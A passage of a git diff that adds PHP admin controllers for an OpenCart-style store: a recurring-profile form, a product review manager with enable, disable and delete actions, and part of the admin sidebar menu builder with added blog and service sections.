+ $data['trial_duration'] = $this->request->post['trial_duration'];
+ } elseif (!empty($recurring_info)) {
+ $data['trial_duration'] = $recurring_info['trial_duration'];
+ } else {
+ $data['trial_duration'] = '0';
+ }
+
+ if (isset($this->request->post['trial_cycle'])) {
+ $data['trial_cycle'] = $this->request->post['trial_cycle'];
+ } elseif (!empty($recurring_info)) {
+ $data['trial_cycle'] = $recurring_info['trial_cycle'];
+ } else {
+ $data['trial_cycle'] = '1';
+ }
+ if (isset($this->request->post['trial_status'])) {
+ $data['trial_status'] = $this->request->post['trial_status'];
+ } elseif (!empty($recurring_info)) {
+ $data['trial_status'] = $recurring_info['trial_status'];
+ } else {
+ $data['trial_status'] = 0;
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($recurring_info)) {
+ $data['sort_order'] = $recurring_info['sort_order'];
+ } else {
+ $data['sort_order'] = 0;
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/recurring_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/recurring')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['recurring_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 255)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/recurring')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('catalog/product');
+
+ foreach ($this->request->post['selected'] as $recurring_id) {
+ $product_total = $this->model_catalog_product->getTotalProductsByProfileId($recurring_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateCopy() {
+ if (!$this->user->hasPermission('modify', 'catalog/recurring')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/catalog/review.php b/public/admin/controller/catalog/review.php
new file mode 100644
index 0000000..665f5fc
--- /dev/null
+++ b/public/admin/controller/catalog/review.php
@@ -0,0 +1,650 @@
+load->language('catalog/review');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/review');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('catalog/review');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/review');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_review->addReview($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('catalog/review');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/review');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_catalog_review->editReview($this->request->get['review_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('catalog/review');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('catalog/review');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $review_id) {
+ $this->model_catalog_review->deleteReview($review_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_product'])) {
+ $filter_product = $this->request->get['filter_product'];
+ } else {
+ $filter_product = '';
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $filter_author = $this->request->get['filter_author'];
+ } else {
+ $filter_author = '';
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $filter_status = $this->request->get['filter_status'];
+ } else {
+ $filter_status = '';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'DESC';
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'r.date_added';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('catalog/review/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('catalog/review/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['enabled'] = $this->url->link('catalog/review/enable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['disabled'] = $this->url->link('catalog/review/disable', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['reviews'] = array();
+
+ $filter_data = array(
+ 'filter_product' => $filter_product,
+ 'filter_author' => $filter_author,
+ 'filter_status' => $filter_status,
+ 'filter_date_added' => $filter_date_added,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $review_total = $this->model_catalog_review->getTotalReviews($filter_data);
+
+ $results = $this->model_catalog_review->getReviews($filter_data);
+
+ foreach ($results as $result) {
+ $data['reviews'][] = array(
+ 'review_id' => $result['review_id'],
+ 'name' => $result['name'],
+ 'author' => $result['author'],
+ 'rating' => $result['rating'],
+ 'status' => ($result['status']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'edit' => $this->url->link('catalog/review/edit', 'user_token=' . $this->session->data['user_token'] . '&review_id=' . $result['review_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_product'] = $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=pd.name' . $url, true);
+ $data['sort_author'] = $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=r.author' . $url, true);
+ $data['sort_rating'] = $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=r.rating' . $url, true);
+ $data['sort_status'] = $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=r.status' . $url, true);
+ $data['sort_date_added'] = $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . '&sort=r.date_added' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $review_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($review_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($review_total - $this->config->get('config_limit_admin'))) ? $review_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $review_total, ceil($review_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_product'] = $filter_product;
+ $data['filter_author'] = $filter_author;
+ $data['filter_status'] = $filter_status;
+ $data['filter_date_added'] = $filter_date_added;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/review_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['review_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['product'])) {
+ $data['error_product'] = $this->error['product'];
+ } else {
+ $data['error_product'] = '';
+ }
+
+ if (isset($this->error['author'])) {
+ $data['error_author'] = $this->error['author'];
+ } else {
+ $data['error_author'] = '';
+ }
+
+ if (isset($this->error['text'])) {
+ $data['error_text'] = $this->error['text'];
+ } else {
+ $data['error_text'] = '';
+ }
+
+ if (isset($this->error['rating'])) {
+ $data['error_rating'] = $this->error['rating'];
+ } else {
+ $data['error_rating'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_product'])) {
+ $url .= '&filter_product=' . urlencode(html_entity_decode($this->request->get['filter_product'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_author'])) {
+ $url .= '&filter_author=' . urlencode(html_entity_decode($this->request->get['filter_author'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['review_id'])) {
+ $data['action'] = $this->url->link('catalog/review/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('catalog/review/edit', 'user_token=' . $this->session->data['user_token'] . '&review_id=' . $this->request->get['review_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['review_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $review_info = $this->model_catalog_review->getReview($this->request->get['review_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('catalog/product');
+
+ if (isset($this->request->post['product_id'])) {
+ $data['product_id'] = $this->request->post['product_id'];
+ } elseif (!empty($review_info)) {
+ $data['product_id'] = $review_info['product_id'];
+ } else {
+ $data['product_id'] = '';
+ }
+
+ if (isset($this->request->post['product'])) {
+ $data['product'] = $this->request->post['product'];
+ } elseif (!empty($review_info)) {
+ $data['product'] = $review_info['product'];
+ } else {
+ $data['product'] = '';
+ }
+
+ if (isset($this->request->post['author'])) {
+ $data['author'] = $this->request->post['author'];
+ } elseif (!empty($review_info)) {
+ $data['author'] = $review_info['author'];
+ } else {
+ $data['author'] = '';
+ }
+
+ if (isset($this->request->post['text'])) {
+ $data['text'] = $this->request->post['text'];
+ } elseif (!empty($review_info)) {
+ $data['text'] = $review_info['text'];
+ } else {
+ $data['text'] = '';
+ }
+
+ if (isset($this->request->post['rating'])) {
+ $data['rating'] = $this->request->post['rating'];
+ } elseif (!empty($review_info)) {
+ $data['rating'] = $review_info['rating'];
+ } else {
+ $data['rating'] = '';
+ }
+
+ if (isset($this->request->post['date_added'])) {
+ $data['date_added'] = $this->request->post['date_added'];
+ } elseif (!empty($review_info)) {
+ $data['date_added'] = ($review_info['date_added'] != '0000-00-00 00:00' ? $review_info['date_added'] : '');
+ } else {
+ $data['date_added'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($review_info)) {
+ $data['status'] = $review_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('catalog/review_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'catalog/review')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['product_id']) {
+ $this->error['product'] = $this->language->get('error_product');
+ }
+
+ if ((utf8_strlen($this->request->post['author']) < 3) || (utf8_strlen($this->request->post['author']) > 64)) {
+ $this->error['author'] = $this->language->get('error_author');
+ }
+
+ if (utf8_strlen($this->request->post['text']) < 1) {
+ $this->error['text'] = $this->language->get('error_text');
+ }
+
+ if (!isset($this->request->post['rating']) || $this->request->post['rating'] < 0 || $this->request->post['rating'] > 5) {
+ $this->error['rating'] = $this->language->get('error_rating');
+ }
+
+ return !$this->error;
+ }
+
+ public function enable() {
+ $this->load->language('catalog/review');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('catalog/review');
+ if (isset($this->request->post['selected']) && $this->validateEnable()) {
+ foreach ($this->request->post['selected'] as $review_id) {
+ $data = array();
+ $result = $this->model_catalog_review->getReview($review_id);
+ foreach ($result as $key => $value) {
+ $data[$key] = $value;
+ }
+ $data['status'] = 1;
+ $this->model_catalog_review->editReview($review_id, $data);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+ public function disable() {
+ $this->load->language('catalog/review');
+ $this->document->setTitle($this->language->get('heading_title'));
+ $this->load->model('catalog/review');
+ if (isset($this->request->post['selected']) && $this->validateDisable()) {
+ foreach ($this->request->post['selected'] as $review_id) {
+ $data = array();
+ $result = $this->model_catalog_review->getReview($review_id);
+ foreach ($result as $key => $value) {
+ $data[$key] = $value;
+ }
+ $data['status'] = 0;
+ $this->model_catalog_review->editReview($review_id, $data);
+ }
+ $this->session->data['success'] = $this->language->get('text_success');
+ $url = '';
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+ $this->response->redirect($this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+ $this->getList();
+ }
+
+ protected function validateEnable() {
+ if (!$this->user->hasPermission('modify', 'catalog/review')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDisable() {
+ if (!$this->user->hasPermission('modify', 'catalog/review')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'catalog/review')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/common/column_left.php b/public/admin/controller/common/column_left.php
new file mode 100644
index 0000000..991c02b
--- /dev/null
+++ b/public/admin/controller/common/column_left.php
@@ -0,0 +1,785 @@
+request->get['user_token']) && isset($this->session->data['user_token']) && ($this->request->get['user_token'] == $this->session->data['user_token'])) {
+ $this->load->language('common/column_left');
+
+ // Create a 3 level menu array
+ // Level 2 can not have children
+
+ // Menu
+ $data['menus'][] = array(
+ 'id' => 'menu-dashboard',
+ 'icon' => 'fa-dashboard',
+ 'name' => $this->language->get('text_dashboard'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+
+ // Catalog
+ $catalog = array();
+
+ if ($this->user->hasPermission('access', 'catalog/category')) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_category'),
+ 'href' => $this->url->link('catalog/category', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'catalog/product')) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_product'),
+ 'href' => $this->url->link('catalog/product', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'catalog/recurring')) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_recurring'),
+ 'href' => $this->url->link('catalog/recurring', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'catalog/filter')) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_filter'),
+ 'href' => $this->url->link('catalog/filter', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ // Attributes
+ $attribute = array();
+
+ if ($this->user->hasPermission('access', 'catalog/attribute')) {
+ $attribute[] = array(
+ 'name' => $this->language->get('text_attribute'),
+ 'href' => $this->url->link('catalog/attribute', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'catalog/attribute_group')) {
+ $attribute[] = array(
+ 'name' => $this->language->get('text_attribute_group'),
+ 'href' => $this->url->link('catalog/attribute_group', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($attribute) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_attribute'),
+ 'href' => '',
+ 'children' => $attribute
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'catalog/option')) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_option'),
+ 'href' => $this->url->link('catalog/option', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'catalog/manufacturer')) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_manufacturer'),
+ 'href' => $this->url->link('catalog/manufacturer', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'catalog/download')) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_download'),
+ 'href' => $this->url->link('catalog/download', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'catalog/review')) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_review'),
+ 'href' => $this->url->link('catalog/review', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'catalog/information')) {
+ $catalog[] = array(
+ 'name' => $this->language->get('text_information'),
+ 'href' => $this->url->link('catalog/information', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($catalog) {
+ $data['menus'][] = array(
+ 'id' => 'menu-catalog',
+ 'icon' => 'fa-tags',
+ 'name' => $this->language->get('text_catalog'),
+ 'href' => '',
+ 'children' => $catalog
+ );
+ }
+
+ // BLOG
+ $blog = array();
+ if ($this->user->hasPermission('access', 'blog/article')) {
+ $blog[] = array(
+ 'name' => $this->language->get('text_blog_article'),
+ 'href' => $this->url->link('blog/article', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'blog/category')) {
+ $blog[] = array(
+ 'name' => $this->language->get('text_blog_category'),
+ 'href' => $this->url->link('blog/category', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'blog/review')) {
+ $blog[] = array(
+ 'name' => $this->language->get('text_blog_review'),
+ 'href' => $this->url->link('blog/review', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'blog/setting')) {
+ $blog[] = array(
+ 'name' => $this->language->get('text_blog_setting'),
+ 'href' => $this->url->link('blog/setting', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($blog) {
+ $data['menus'][] = array(
+ 'id' => 'menu-blog',
+ 'icon' => 'fa-book',
+ 'name' => $this->language->get('text_blog'),
+ 'href' => '',
+ 'children' => $blog
+ );
+ }
+
+ // SERVICES
+ $service = array();
+ if ($this->user->hasPermission('access', 'service/service')) {
+ $service[] = array(
+ 'name' => $this->language->get('text_service'),
+ 'href' => $this->url->link('service/service', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($service) {
+ $data['menus'][] = array(
+ 'id' => 'menu-service',
+ 'icon' => 'fa-wrench',
+ 'name' => $this->language->get('text_service_title'),
+ 'href' => '',
+ 'children' => $service
+ );
+ }
+
+ // Extension
+ $marketplace = array();
+
+ if ($this->user->hasPermission('access', 'marketplace/opencartforum')) {
+ $marketplace[] = array(
+ 'name' => $this->language->get('text_opencartforum'),
+ 'href' => $this->url->link('marketplace/opencartforum', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'marketplace/marketplace')) {
+ $marketplace[] = array(
+ 'name' => $this->language->get('text_marketplace'),
+ 'href' => $this->url->link('marketplace/marketplace', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'marketplace/installer')) {
+ $marketplace[] = array(
+ 'name' => $this->language->get('text_installer'),
+ 'href' => $this->url->link('marketplace/installer', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'marketplace/extension')) {
+ $marketplace[] = array(
+ 'name' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'].'&type=module', true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'marketplace/modification')) {
+ $marketplace[] = array(
+ 'name' => $this->language->get('text_modification'),
+ 'href' => $this->url->link('marketplace/modification', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'marketplace/event')) {
+ $marketplace[] = array(
+ 'name' => $this->language->get('text_event'),
+ 'href' => $this->url->link('marketplace/event', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($marketplace) {
+ $data['menus'][] = array(
+ 'id' => 'menu-extension',
+ 'icon' => 'fa-puzzle-piece',
+ 'name' => $this->language->get('text_extension'),
+ 'href' => '',
+ 'children' => $marketplace
+ );
+ }
+
+ // Design
+ $design = array();
+
+ if ($this->user->hasPermission('access', 'design/layout')) {
+ $design[] = array(
+ 'name' => $this->language->get('text_layout'),
+ 'href' => $this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'], true),
+ 'children' => array()
+ );
+ }
+
+ if ($this->user->hasPermission('access', 'design/theme')) {
